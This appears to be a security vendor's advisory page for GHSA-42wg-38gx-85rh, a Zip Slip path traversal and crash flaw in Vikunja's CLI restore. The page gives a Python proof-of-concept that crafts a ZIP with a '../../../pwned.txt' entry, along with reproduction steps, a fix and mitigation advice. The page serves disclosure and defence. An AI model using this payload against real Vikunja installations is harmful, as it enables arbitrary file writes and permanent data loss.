GHSA-42wg-38gx-85rh is a high-severity (CVSS 7.2) Path Traversal vulnerability in code.vikunja.io/api. No vendor fix is recorded yet; mitigation options are listed below.
Vikunja has Path Traversal in CLI Restore
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-42wg-38gx-85rh.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-42wg-38gx-85rh plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
code.vikunja.io/apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Path Traversal (Zip Slip) and Denial of Service (DoS) vulnerability discovered in the Vikunja CLI's restore functionality.
Details
The restoreConfig function in vikunja/pkg/modules/dump/restore.go of the https://github.com/go-vikunja/vikunja/tree/main repository fails to sanitize file paths within the provided ZIP archive. A maliciously crafted ZIP can bypass the intended extraction directory to overwrite arbitrary files on the host system. Additionally, we’ve discovered that a malformed archive triggers a runtime panic, crashing the process immediately after the database has been wiped permanently.
The application trusts the metadata in the ZIP archive. It uses the Name attribute of the zip.File struct directly in os.OpenFile calls without validation, allowing files to be written outside the intended directory.
The restoration logic assumes a specific directory structure within the ZIP. When provided with a "minimalist" malicious ZIP, the application fails to validate the length of slices derived from the archive contents. Specifically, at line 154, the code attempts to access an index of len(ms)-2 on an insufficiently populated slice, triggering a panic.
PoC
When provided with a ZIP containing a traversal path (e.g., ../../../pwned.txt) and a missing migration structure, the application wipes the existing database and then panics due to unsafe index manipulation at line 154 of restore.go.
Reproduction Steps:
- Preparation: Generate vikunja_critical_poc.zip.
- Execution: Run echo "Yes, I understand" | vikunja restore vikunja_critical_poc.zip.
- Observation: a. The application logs INFO: Wiped database. b. The application immediately follows with: panic: runtime error: index out of range [-2].
- The database is effectively deleted (Wiped), and the restoration process fails to complete, leaving the application in a non-functional state with total data loss for that instance.
Reproduction Python Script:
import zipfile
VIKUNJA_VERSION = "v1.1.0"
ZIP_NAME = "vikunja_critical_poc.zip"
def create_poc():
with zipfile.ZipFile(ZIP_NAME, 'w') as zipf:
# Mandatory version file to pass initial check
zipf.writestr('VERSION', VIKUNJA_VERSION)
# Malicious traversal path
# This triggers the traversal logic and the index panic simultaneously
zipf.writestr('../../../pwned.txt', "Vulnerability Confirmed.")
print(f"[+] {ZIP_NAME} created.")
if __name__ == "__main__":
create_poc()
Stack Trace: time=2026-02-21T23:07:22.707Z level=INFO msg="Wiped database." panic: runtime error: index out of range [-2] goroutine 1 [running]: code.vikunja.io/api/pkg/modules/dump.Restore(...) /go/src/code.vikunja.io/api/pkg/modules/dump/restore.go:154 +0x1085
Remediation: Sanitize Paths: Use filepath.Base() to strip all directory information from ZIP entries before processing. Implement Bounds Checking: Ensure slices have sufficient length before performing index arithmetic.
Proposed Fix for restore.go:
// 1. Sanitize the filename
filename := filepath.Base(configFile.Name)
dstPath := filepath.Join(extractionDir, filename)
// ...
// 2. Prevent Index Out of Range Panic (Line 154)
if len(ms) < 2 {
return fmt.Errorf("invalid migration sequence in backup archive")
}
lastMigration := ms[len(ms)-2]
Impact
Vulnerability Type: CWE-22 (Path Traversal) / CWE-248 (Uncaught Exception) Affected Component: pkg/modules/dump/restore.go Impact: Arbitrary File Write and Permanent Data Loss Status: Vikunja has not found an existing CVE for these issues; they appear to be undisclosed Zero-Days. Source File: pkg/modules/dump/restore.go Functions: Restore, restoreConfig Line Number: 154 (v1.1.0) Command: vikunja restore <path_to_zip>
Affected Party: Any administrator or automated process utilizing the vikunja restore CLI command.
- Specifically, instances where a user may be socially engineered into restoring a backup from an untrusted source are at high risk.
- Additionally, because the database is wiped before archive validation, even a failed exploitation attempt results in a complete loss of application data for that instance, impacting all end-users of the affected Vikunja installation.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.vikunja.io/api | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of code.vikunja.io/api has shipped for GHSA-42wg-38gx-85rh yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-42wg-38gx-85rh can be triaged on real exposure rather than presence alone.
Tailored to GHSA-42wg-38gx-85rh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-42wg-38gx-85rh in your dependencies?
O3 Security finds GHSA-42wg-38gx-85rh across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.